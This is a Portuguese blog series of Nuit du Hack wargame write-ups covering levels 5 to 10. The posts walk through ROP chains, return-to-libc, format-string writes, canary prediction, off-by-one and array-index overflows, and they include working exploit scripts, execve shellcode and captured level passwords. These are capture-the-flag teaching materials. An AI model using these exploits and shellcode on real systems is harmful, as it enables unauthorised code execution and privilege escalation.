./ROPgadget -file ./smashme.bin -g -string "main"
./ROPgadget -file ./smashme.bin -g -string "m?in"
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$
Rodando no binário, ele gera um payload automaticamente.
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ ./ROPgadget -file /home/level10/level10 -g
Gadgets information
============================================================
0x08048145: pop %edi | ret
0x08048162: add $0xc95b5800,%eax | ret
0x08048204: add $0x14,%esp | pop %ebx | pop %ebp | ret
0x08048207: pop %ebx | pop %ebp | ret
0x08048208: pop %ebp | ret
0x0804824c: call *%eax
0x08048251: mov %esp,%ebp | ret
0x08048254: pop %ebx | ret
0x0804825a: inc %esi | ret
0x0804825c: xor %eax,%eax | pop %edi | ret
0x0804825e: inc %eax | ret
0x08048260: int $0x80
0x0804859e: mov %ebp,%esp | pop %ebp | ret
0x080488db: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048950: call *(%esi)
0x08048ac1: call *(%ebx)
0x08048af5: call *%edx
0x08048c53: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048c53: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080493eb: add $0x08,%esp | pop %ebx | pop %ebp | ret
0x08049457: jmp *%eax
0x0804949e: add $0x04,%esp | pop %ebx | pop %ebp | ret
0x08049691: xor %eax,%eax | mov %esp, %ebp | pop %ebp | ret
0x080496a8: mov $0xffffffff,%edx | pop %ebp | ret
0x0804977e: pop %ebx | pop %esi | pop %ebp | ret
0x08049832: mov %eax,(%ecx) | pop %ebp | ret
0x080499c8: inc %eax | pop %edi | ret
0x08049bd1: add $0x10,%esp | pop %ebx | pop %ebp | ret
0x0804ac47: add $0xe8,%al | ret
0x0804bee2: jmp *(%esi)
0x0804bf04: mov (%edi),%edi | ret
0x0804c29a: add $0x83,%al | ret
0x0804c4db: xor %eax,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804d69a: mov %edi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804e7fb: xor %eax,%eax | pop %ebx | pop %ebp | ret
0x0804e8b1: jmp *(%ecx)
0x0804ed52: call *(%eax)
0x0804f1eb: mov %esi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804fa3e: mov $0x89ffffd9,%esi | ret
0x0804ff52: add $0x0c,%esp | pop %ebx | pop %ebp | ret
0x08050775: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080510db: mov %edx,%edi | ret
0x0805176b: add $0x5d,%al | ret
0x08052032: mov $0xc9fffffa,%edx | ret
0x08052316: pop %esi | pop %ebx | pop %edx | ret
0x08052318: pop %edx | ret
0x08052341: pop %edx | pop %ecx | pop %ebx | ret
0x08052423: mov %edx,%eax | pop %ebp | ret
0x08052486: mov %edx,(%ecx) | pop %ebp | ret
0x0805358f: mov $0xffffffff,%eax | ret
0x0805491e: add $0x89,%al | ret
0x080550a9: push %esp | ret
0x080566ac: call *%ecx
0x08057821: jmp *(%eax)
0x08058a7f: neg %eax | pop %ebp | ret
0x080595cb: mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08059ba0: mov $0x89c87d89,%eax | ret
0x0805eab6: mov %ecx,%eax | ret
0x0806462b: add %ebx,%eax | pop %ebx | pop %ebp | ret
0x08066c21: jmp *(%ebx)
0x0806735a: add $0x5d5bc031,%eax | ret
0x08067efd: mov %ebx,%eax | pop %ebx | pop %ebp | ret
0x08068823: mov $0xffffffff,%eax | pop %ebp | ret
0x080691fd: sub %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0806a107: inc %eax | pop %edi | pop %esi | ret
0x0806a109: pop %esi | ret
0x0806a14d: inc %eax | inc %eax | inc %eax | ret
0x0806a14e: inc %eax | inc %eax | ret
0x0806a494: call *%edi
0x0806a6b5: call *%ebx
0x0806a9e4: call *%esi
0x0806c074: xchg %eax,%ebp | ret
0x0806d4c4: mov $0x8390080a,%ebx | ret
0x0806f3c5: sub $0x83,%al | ret
0x0806f506: mov (%edx),%eax | mov (%esp),%ebx | mov %ebp,%esp | pop %ebp | ret
0x0806f95c: mov %edx,%eax | ret
0x0806fb03: add $0x1c,%al | ret
0x0806fb1b: pusha | ret
0x0806ff32: jmp *(%edx)
0x0807241f: sub $0x89,%al | ret
0x08076551: add $0xc9fc5d8b,%eax | ret
0x080788c1: mov %eax,(%edx) | ret
0x08078bb2: xchg %eax,%esp | ret
0x0807ac90: add $0x3c,%esp | ret
0x0807b105: add $0x00000000,%eax | ret
0x0807bc70: add $0xc9,%al | ret
0x0807c5a0: mov $0x89fffffd,%edx | ret
0x0807c6d7: xor $0x83fffff6,%eax | ret
0x0807d760: add $0x21,%al | ret
0x0807de18: call *(%edi)
0x0807efad: add $0xe9,%al | ret
0x08083615: mov %ebx,%eax | pop %ebx | pop %esi | pop %ebp | ret
0x08083615: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | ret
0x08085131: push %ebp | ret
0x080857df: jmp *%edx
0x08085f98: mov %eax,(%edi) | pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x08085f9a: pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x08085fa1: mov %ebx,(%edi) | pop %ebx | pop %esi | pop %edi | ret
0x080869e5: xchg %eax,%edi | ret
0x0808ac54: mov $0x89ffffd1,%eax | ret
0x08092ce9: add $0x1c,%esp | pop %ebx | pop %ebp | ret
0x08096fc2: xchg %eax,%esi | ret
0x08096ff7: popa | ret
0x0809806f: call *(%ecx)
0x0809878b: mov $0x83fffffd,%eax | ret
0x080991c1: not %eax | ret
0x0809951f: xor %eax,%eax | ret
0x0809a89f: sub $0xc9000005,%eax | ret
0x0809e3b6: xor $0x89ffffff,%eax | ret
0x0809e3d5: xor $0x89000000,%eax | ret
0x0809ff72: mov $0x83000002,%edx | ret
0x080a1080: add $0x18,%esp | pop %ebx | pop %ebp | ret
0x080a16f9: dec %eax | ret
0x080a1749: push %eax | ret
0x080a1759: pop %esp | ret
0x080a1769: pop %eax | ret
0x080a1971: add $0x24,%esp | pop %ebx | pop %ebp | ret
0x080a310a: mov $0x81000010,%edi | ret
0x080a410f: mov $0x81000000,%edx | ret
0x080a41c9: mov (%esp),%ecx | ret
0x080a41cd: mov (%esp),%ebx | ret
0x080a67b8: sub $0x04,%ebx | call *%eax
0x080a6816: ror %ecx | ret
0x080a937e: mov $0xc2c1c0bf,%esi | ret
0x080bc466: xchg %eax,%esi | pop %ebp | ret
0x080bc64e: push %esi | ret
0x080bc698: xchg %eax,%esp | pop %ebp | ret
0x080bf967: jmp *(%edi)
0x080c01cb: call *(%edx)
0x080c17c7: jmp *%esi
0x080c1901: push %edx | ret
0x080c3313: jmp *%edi
0x080c3733: add $0x44,%al | ret
0x080c3a42: dec %ebx | ret
Unique gadgets found: 134
Possible combinations.
============================================================
[+] Combo 1 was found - Possible with the following gadgets. (execve)
- 0x08048260 => int $0x80
- 0x0804825e => inc %eax | ret
- 0x0809951f => xor %eax,%eax | ret
- 0x080788c1 => mov %eax,(%edx) | ret
- 0x080a1769 => pop %eax | ret
- 0x08048254 => pop %ebx | ret
- 0x08052341 => pop %edx | pop %ecx | pop %ebx | ret
- 0x08052318 => pop %edx | ret
- 0x080c6001 => .data Addr
Payload
# execve /bin/sh generated by RopGadget v3.3
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "/bin"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6005) # @ .data + 4
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "//sh"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x08048260) # int $0x80
EOF Payload
[-] Combo 1 was not found, missing instruction(s).
- .......... => sysenter
- 0x0804825e => inc %eax | ret
- 0x0809951f => xor %eax,%eax | ret
- 0x080788c1 => mov %eax,(%edx) | ret
- 0x080a1769 => pop %eax | ret
- 0x08048254 => pop %ebx | ret
- 0x08052341 => pop %edx | pop %ecx | pop %ebx | ret
- 0x08052318 => pop %edx | ret
- 0x08048208 => pop %ebp | ret
- 0x080c6001 => .data Addr
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$
Percebemos que ele usa a área de data para colocar a string /bin//sh.
Primeiro usa os gadgets de pop %edx | ret, para colocar o endereço de data em edx.
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6001) # @ .data
Usa o pop %eax | ret para pegar um pedaço da string
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "/bin"
E o mov %eax,(%edx) | ret para mover para a posição de data,
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
Assim colocamos a string /bin//sh num lugar com permissão de escrita, incluindo o null byte usando o gadget xor %eax, %eax.
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
No final, ele usa o xor %eax,%eax | ret para zerar o %eax, e depois inc %eax | ret, para colocar o valor da syscall execve em eax e logo depois chama o int 0x80.
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x08048260) # int $0x80
Bem, mas se rodar este exploit, ele vai dar um segfault, isso é por causa da parte do meio.
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
Ou seja, o que deveria ser é o ebx estar com o endereço da string /bin//sh, que esta em data, no endereço 0x080c6001, e ecx e edx, apontando pro null byte, que esta em data + 8, mas o ROPgadget, deixou o ebx apontando para 0x42424242.
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding
Modificando o exploit aqui, ficou.
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ cat exploit.py
#!/usr/bin/python2
# Test RopGadget payload in ndh_rop binary
# ndh_rop is a binary on wargame-ndh-2010 (level 10)
#
# poc: ./ndh_rop "$(python2 ./exploit.py)"
from struct import pack
p = "a" * 12
# Generated by RopGadget v3.0
# execve /bin/sh generated by RopGadget v3.3
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "/bin"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6005) # @ .data + 4
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "//sh"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x08048260) # int $0x80
print p
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$
Executando…
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ /home/level10/level10 "$(python ./exploit.py)" ROP me if you can :] -> aaaaaaaaaaaa` /bin�` //sh�# ` � �A# ` ` ` � ^�^�^�^�^�^�^�^�^�^�^�`� $ id uid=1010(level10) gid=1010(level10) euid=1000(l33t) groups=1000(l33t),1010(level10) $ whoami l33t $ cat /home/l33t/passwd 4JS!sf. $
l33t! 😀
Logando no l33t, não temos desafio, apenas o código do level10
l33t@wargame2k10:~$ cat rop.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc -o level10 level10.c -static -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level10
void rop()
{
__asm("ret");
__asm("pop %ebx");
__asm("ret");
__asm("nop");
__asm("movl %esi, %edx");
__asm("pop %esi");
__asm("inc %esi");
__asm("ret");
__asm("xor %eax, %eax");
__asm("inc %eax");
__asm("ret");
__asm("int $0x80");
}
void vuln(char *buff)
{
char tmp[8] = {'\0'};
strcpy(tmp, buff);
printf("-> %s\n", tmp);
}
int main(int argc, char *argv[])
{
if(argc != 2) {
printf("%s <arg>\n", argv[0]);
exit(0);
}
printf("ROP me if you can :]\n");
vuln(argv[1]);
return 0;
}
l33t@wargame2k10:~$
É isso ai wargame zerado 😀
Nuit du Hack Level9 – Return to LibC
Level9 do nuit du hack, lendo o source..
$ cat level9.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc -o level9 level9.c -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level9
void sayHello(char *tmp)
{
char login[50];
strcpy(login, tmp);
printf("Hi %s !\n", login);
}
int main(int argc, char *argv[])
{
if(argc < 2) {
printf("Empty login! \n");
exit(-1);
}
sayHello(argv[1]);
exit(0);
}
Vemos que não foi compilado com -z execstack, e temos a proteção do pax, isso significa que temos que fazer um return to libc 🙂
Vamos ver dentro do gdb.
(gdb) r $(perl -e 'print "\xee" x 54 . "\xdd\xcc\xbb\xaa"') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level9/level9 $(perl -e 'print "\xee" x 54 . "\xdd\xcc\xbb\xaa"') Hi �������������������������������������������������������̻� ! Program received signal SIGSEGV, Segmentation fault. 0xaabbccdd in ?? () (gdb)
Controlamos facilmente o eip, vamos colocar um /bin/sh numa variável de ambiente, e pegar seu endereço.
$ export SC=" /bin/sh" $ /tmp/getenv SC 0xbfffffae $
Legal, vamos pegar o endereço da função system.
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecf180 <system>
(gdb)
Certo, precisamos então colocar
[54 bytes ĺixo] [&system] [4 bytes lixo] [&”/bin/sh”]
(gdb) r $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level9/level9 $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"') Hi �����������������������������������������������������������̻����� ! $
yahuu uma shell 😀
Fora do gdb…
$ ./level9 $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"') Hi �����������������������������������������������������������̻����� ! $ id uid=1009(level9) gid=1009(level9) euid=1010(level10) groupes=1010(level10),1009(level9) $ cat /home/level10/passwd z8D4ds $
PWNED! 🙂
Nuit du Hack Level8 – Format String Bug
Mais um level do nuit du hack 🙂
Vamos ao source
#include <stdio.h>
#include <stdlib.h>
// gcc -o level8 level8.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
int main(int argc, char *argv[])
{
if(argc < 2) {
printf("Empty login! \n");
exit(-1);
}
printf(argv[1]);
printf("\nNice to see you\n");
exit(0);
}
Temos um clássico format string bug, vamos testar.
level8@wargame2k10:~$ ./level8 "0x%x" 0xbffff868 Nice to see you level8@wargame2k10:~$
Podemos ver que demos um pop em um valor da stack, vamos tentar ler uma área arbitraria da memória.
Com um for e grep, achamos a shell como exemplo
level8@wargame2k10:~$ for i in `seq 1 200`;do ./level8 "%$i\$s" |grep SHELL && echo $i; done SHELL=/bin/sh 47 level8@wargame2k10:~$
E depois usamos o offset 47 para ler essa área da memória.
level8@wargame2k10:~$ ./level8 "%47\$s" SHELL=/bin/sh Nice to see you level8@wargame2k10:~$
Podemos escrever escrever em areas de memoria arbitrariamente, usando %n, para isso basta termos o offset da onde nosso endereço esta na stack, para isso bastar achar o offset de onde nosso endereço vai estar, e o %n escrevera a quantidade de bytes digitados até então, lembrando que podemos usar %u para colocar mais bytes.
level8@wargame2k10:~$ for i in `seq 1 200`;do ./level8 "AAAAB[0x%$i\$x]" |grep 4141 && echo $i; done AAAAB[0x41414141] 115 level8@wargame2k10:~$ ./level8 "AAAAB[0x%115\$x]" AAAAB[0x41414141] Nice to see you level8@wargame2k10:~$ ./level8 "AAAAB[0x%115\$n]" Erreur de segmentation level8@wargame2k10:~$
O motivo da falha de segmentação foi por que tentamos escrever em 0x41414141, que não é um endereço valido, então podemos sobrescreve um endereço de retorno na pilha, por exemplo, ou a GOT no endereço de exit.ou demos o .dtor, vamos no endereço de retorno.
Dentro do gdb, disas main.
(gdb) disas main Dump of assembler code for function main: 0x08048424 <main+0>: push %ebp 0x08048425 <main+1>: mov %esp,%ebp 0x08048427 <main+3>: sub $0x4,%esp 0x0804842a <main+6>: cmpl $0x1,0x8(%ebp) 0x0804842e <main+10>: jg 0x8048448 <main+36> 0x08048430 <main+12>: movl $0x8048530,(%esp) 0x08048437 <main+19>: call 0x8048350 <puts@plt> 0x0804843c <main+24>: movl $0xffffffff,(%esp) 0x08048443 <main+31>: call 0x8048360 <exit@plt> 0x08048448 <main+36>: mov 0xc(%ebp),%eax 0x0804844b <main+39>: add $0x4,%eax 0x0804844e <main+42>: mov (%eax),%eax 0x08048450 <main+44>: mov %eax,(%esp) 0x08048453 <main+47>: call 0x8048340 <printf@plt> 0x08048458 <main+52>: movl $0x804853e,(%esp) 0x0804845f <main+59>: call 0x8048350 <puts@plt> 0x08048464 <main+64>: movl $0x0,(%esp) 0x0804846b <main+71>: call 0x8048360 <exit@plt> End of assembler dump. (gdb)
Colodamos um Breakpoint na printf da plt.
(gdb) b *0x8048340 Breakpoint 1 at 0x8048340 (gdb)
Rodamos e vemos o topo da pilha, que estará o endereço de retorno salvo.
(gdb) r a Starting program: /home/level8/level8 a Breakpoint 1, 0x08048340 in printf@plt () (gdb) x/x $esp 0xbffffc60: 0x08048458 (gdb)
O que precisamos fazer é sobrescrever o endereço 0xbffffcd0 com o endereço do nosso shellcode.
Colocamos nosso shellcode numa variável de ambiente.
$ export SC=$(perl -e 'print "\x90" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') level8@wargame2k10:~$ /tmp/getenv SC 0xbfffff3e level8@wargame2k10:~$
Vamos escrever byte a byte, usando %n,
isto é nos endereços: bffffc60, bffffc61, bffffc62, bffffc63,
por causa da quantidade de bytes o offset mudou pra 118.
(gdb) r $(perl -e 'print "\x60\xfc\xff\xbf" . "\x61\xfc\xff\xbf" . "\x62\xfc\xff\xbf" . "\x63\xfc\xff\xbf" . "%0175u%117\$n" . "%0064u%118\$n" . "%0256u%119\$n" . "%0192u%120\$n"') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level8/level8 $(perl -e 'print "\x60\xfc\xff\xbf" . "\x61\xfc\xff\xbf" . "\x62\xfc\xff\xbf" . "\x63\xfc\xff\xbf" . "%0175u%117\$n" . "%0064u%118\$n" . "%0256u%119\$n" . "%0192u%120\$n"') Breakpoint 1, 0x08048340 in printf@plt () (gdb) c Continuing. Executing new program: /bin/dash $
Executamos a shell 😀
Fora do gdb,..
$ id uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1009(level9),1008(level8) $ cat /home/level9/passwd g974d.
Até a próxima 🙂
Nuit du Hack Level7 – Pseudo-random canary
Ae pessoal, mais um level do nuit du hack.
Como de costume vou começar olhando o source.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc -o level7 level7.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
unsigned int secret;
int vuln(char *arg) {
unsigned int cookie = secret;
char tmp[64] = {'\0'};
strcpy(tmp, arg);
if(cookie!=secret) {
printf("It's not my cookie :(\n");
exit(0);
}
return 1337;
}
int main(int argc, char *argv[])
{
if(argc != 2) {
printf("%s <P0wn Me!> \n", argv[0]);
exit(0);
}
srand(time(NULL));
secret = rand();
printf("GooD Boy 🙂 %08X\n", secret);
vuln(argv[1]);
return 0;
}
Temos um cookie(canary) na função vuln, quando fazemos o overflow no buffer tmp, alteramos a variável cookie, e essa variável verificada antes do return e caso esteja diferente do valor original o programa é finalizado, impedindo a exploração pois a instrução ret não ira dar o jmp para o nosso endereço.
A ideia aqui é tentar gerar o mesmo cookie e coloca-lo exatamente na posição aonde o mesmo está na stack, vemos que ele gera o cookie usando a funcao rand e usando o seed como o time, só precisamos gerar o mesmo seed, ou seja no executar no mesmo segundo, vamos tentar gerar o mesmo cookie.
$ cat > /tmp/poc1_lvl7.c
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define PATH "/home/level7/level7"
#define NAME "level7"
#define BUF 64
int
main()
{
char arg[BUF];
char * args[] = { NAME, arg, NULL } ;
int cookie;
memset(arg, 'A', BUF);
srand(time(NULL));
cookie = rand();
printf("cookie %x\n", cookie);
execve(PATH, args, NULL);
return 0;
}
^C
$ gcc -o /tmp/poc1_lvl7 /tmp/poc1_lvl7.c
$ /tmp/poc1_lvl7
cookie 6bedffd0
GooD Boy 🙂 6BEDFFD0
$
Funciona! podemos gerar o mesmo cookie, agora basta basta colocar o cookie na posição logo acima do buffer tmp, que é 64 bytes, e depois o eip para o shellcode, que com um pouco de debug achei a 80 bytes apos o começo do buffer tmp, vamos usar execle para controlarmos o ambiente, colocando o shellcode no enviroment, e calculando sua posição a partir do 0xbffffffa. Segue abaixo o exploit.
$ cat > /tmp/xpl.c
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define PATH "/home/level7/level7"
#define NAME "level7"
#define BUF 85
#define EIP_OFFSET 80
#define COOKIE_OFFSET 64
int
main()
{
char arg[BUF];
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80";
void * env[] = { sc, NULL } ;
int cookie, addr = 0xbffffffa - strlen(PATH) - strlen(sc);
memset(arg, 'A', BUF);
srand(time(NULL));
cookie = rand();
*(int *)(arg + COOKIE_OFFSET) = cookie;
*(int *)(arg + EIP_OFFSET) = addr;
printf("arg %s\n", arg);
printf("cookie %x\n", *(int *)(arg + COOKIE_OFFSET));
printf("eip %x\n", addr);
execle(PATH, NAME, arg, NULL, env);
return 0;
}
^C
$ gcc -o /tmp/xpl /tmp/xpl.c
$ /tmp/xpl
arg AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAԀ�*AAAAAAAAAAAA����AԀ�*����P�
cookie 2a8480d4
eip bfffffce
GooD Boy 🙂 2A8480D4
$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1008(level8),1007(level7)
$ cat /home/level8/passwd
sgfc.g
$
Yahuu! até a próxima 😀
Nuit du Hack Level6 – Off-by-one error
E ai galera, vamos mais uma solução do nuit du hack wargame, agora no level 6.
Vamos ler o code.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// gcc -o level6 level6.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
int layer(char *arg){
if(strlen(arg)>128) {
printf("Aww noes you'r crazy !\n");
exit(0);
}
char buf[128];
strcpy(buf, arg);
return 0;
}
int main(int argc, char *argv[])
{
if(!argv[1]) return;
layer(argv[1]);
return 0;
}
Temos na função layer uma verificação para impedir que se coloque acima de 128 no argumento, acontece que o buffer tem 128 bytes, e iso não deixa espaço para o nullbyte, causando um off-by-one error, o strcpr irá sobrescrever o byte menos significativo do ebp-salvo na pilha com o nullbyte, e após uma sequencia de dois leaves(mov $ebp,$esp | pop $ebp) | ret, o esp poderá estar apontando para uma parte do buffer que controlamos no momento da instrução ret e assim ter controle do eip, vamos tentar.
(gdb) r $(perl -e 'print "\xaa" x 128') Starting program: /home/level6/level6 $(perl -e 'print "\xaa" x 128') Program received signal SIGSEGV, Segmentation fault. 0xaaaaaaaa in ?? () (gdb)
Sucesso! Temos o controle do eip, vamos ver se colocamos um valor especifico e não um monte de 0xaa.
(gdb) r $(perl -e 'print "\xdd\xcc\xbb\xaa" x 32') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level6/level6 $(perl -e 'print "\xdd\xcc\xbb\xaa" x 32') Program received signal SIGSEGV, Segmentation fault. 0xaabbccdd in ?? () (gdb)
Facil, basta agora colocar o shellcode numa variavel de ambiente e setar o eip para la 😉
$ export SC=$(perl -e 'print "\x90" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $ /tmp/getenv SC 0xbfffffc2 $ ./level6 $(perl -e 'print "\xc2\xff\xff\xbf" x 32') $ id uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1007(level7),1006(level6) $ cat /home/level7/passwd qsf076 $
Done! 😀
Nuit du Hack Level5 – Integer Array Overflow
Ola pessoal, mais um nivel do ndh, vamos ao source.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// gcc -o level5 level5.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
void setArray(int frame, int value) {
int array[32];
array[frame] = value;
printf("fill case %d with %d.\n", frame, value);
return;
}
int main(int argc, char **argv) {
if (argc != 3)
printf("syntax: %s [slot] [val]\n", argv[0]);
else
setArray(atoi(argv[1]), atoi(argv[2]));
exit(0);
}
Temos um integer array overflow, podemos controlar o índice do vetor, e assim colocar na posição do eip-salvo, e sobrescrevemos com o que quisermos, vamos tentar no gdb.
(gdb) r 33 $(perl -e 'print 0x11223344') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level5/level5 33 $(perl -e 'print 0x11223344') fill case 33 with 287454020. Program received signal SIGSEGV, Segmentation fault. 0x11223344 in ?? () (gdb)
Sucesso! temos controle do eip, vamos colocar o shellcode numa variável de ambiente e setar o eip para esse endereço.
level5@wargame2k10:~$ export SC=$(perl -e 'print "\x90" x 200 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"')
Vamos ver o seu endereço na memoria.
level5@wargame2k10:~$ cat > /tmp/getenv.c
#include <stdlib.h>
#include <stdio.h>
int
main(int argc, char ** argv)
{
if (argc < 2)
return 1;
printf ("%p\n", (unsigned int *)getenv(argv[1]));
return 0;
}
^C
level5@wargame2k10:~$ gcc -o /tmp/getenv /tmp/getenv.c
level5@wargame2k10:~$ /tmp/getenv SC
0xbffffeaa
level5@wargame2k10:~$
